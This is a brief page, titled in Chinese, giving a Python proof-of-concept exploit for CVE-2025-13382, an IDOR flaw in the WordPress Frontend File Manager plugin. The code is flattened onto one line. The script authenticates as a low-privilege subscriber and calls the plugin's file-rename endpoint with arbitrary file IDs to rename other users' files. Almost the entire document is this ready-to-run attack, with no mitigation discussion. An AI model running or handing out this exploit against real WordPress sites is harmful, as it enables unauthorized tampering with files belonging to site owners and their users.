CVE-2025-13382 WordPress Frontend File Manager插件IDOR漏洞

import requests import json # CVE-2025-13382 PoC - WordPress Frontend File Manager IDOR Vulnerability # Target: WordPress site with Frontend File Manager Plugin < 23.5 # Authentication: Requires Subscriber-level account or higher TARGET_URL = "http://target-wordpress-site.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" TARGET_FILE_ID = 123 # ID of victim file to rename NEW_FILENAME = "malicious_renamed_file.txt" def get_auth_token(): """Obtain WordPress REST API authentication token""" login_url = f"{TARGET_URL}/wp-json/jwt-auth/v1/token" data = { "username": USERNAME, "password": PASSWORD } response = requests.post(login_url, json=data) if response.status_code == 200: return response.json().get("token") return None def rename_victim_file(token, file_id, new_name): """Exploit IDOR vulnerability to rename victim file""" api_url = f"{TARGET_URL}/wp-json/wpfm/v1/file-rename" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } payload = { "fileid": file_id, # IDOR: No ownership validation "newfilename": new_name } response = requests.post(api_url, json=payload, headers=headers) return response.status_code, response.json() def main(): print("[*] CVE-2025-13382 PoC - Frontend File Manager IDOR") print(f"[*] Target: {TARGET_URL}") # Step 1: Authenticate token = get_auth_token() if not token: print("[-] Authentication failed") return print("[+] Authentication successful") # Step 2: Exploit IDOR vulnerability print(f"[*] Attempting to rename file ID {TARGET_FILE_ID}...") status, result = rename_victim_file(token, TARGET_FILE_ID, NEW_FILENAME) if status == 200: print(f"[+] SUCCESS: File renamed to '{NEW_FILENAME}'") print(f"[+] Response: {json.dumps(result, indent=2)}") else: print(f"[-] Attack failed with status {status}") print(f"[-] Response: {json.dumps(result, indent=2)}") if __name__ == "__main__": main()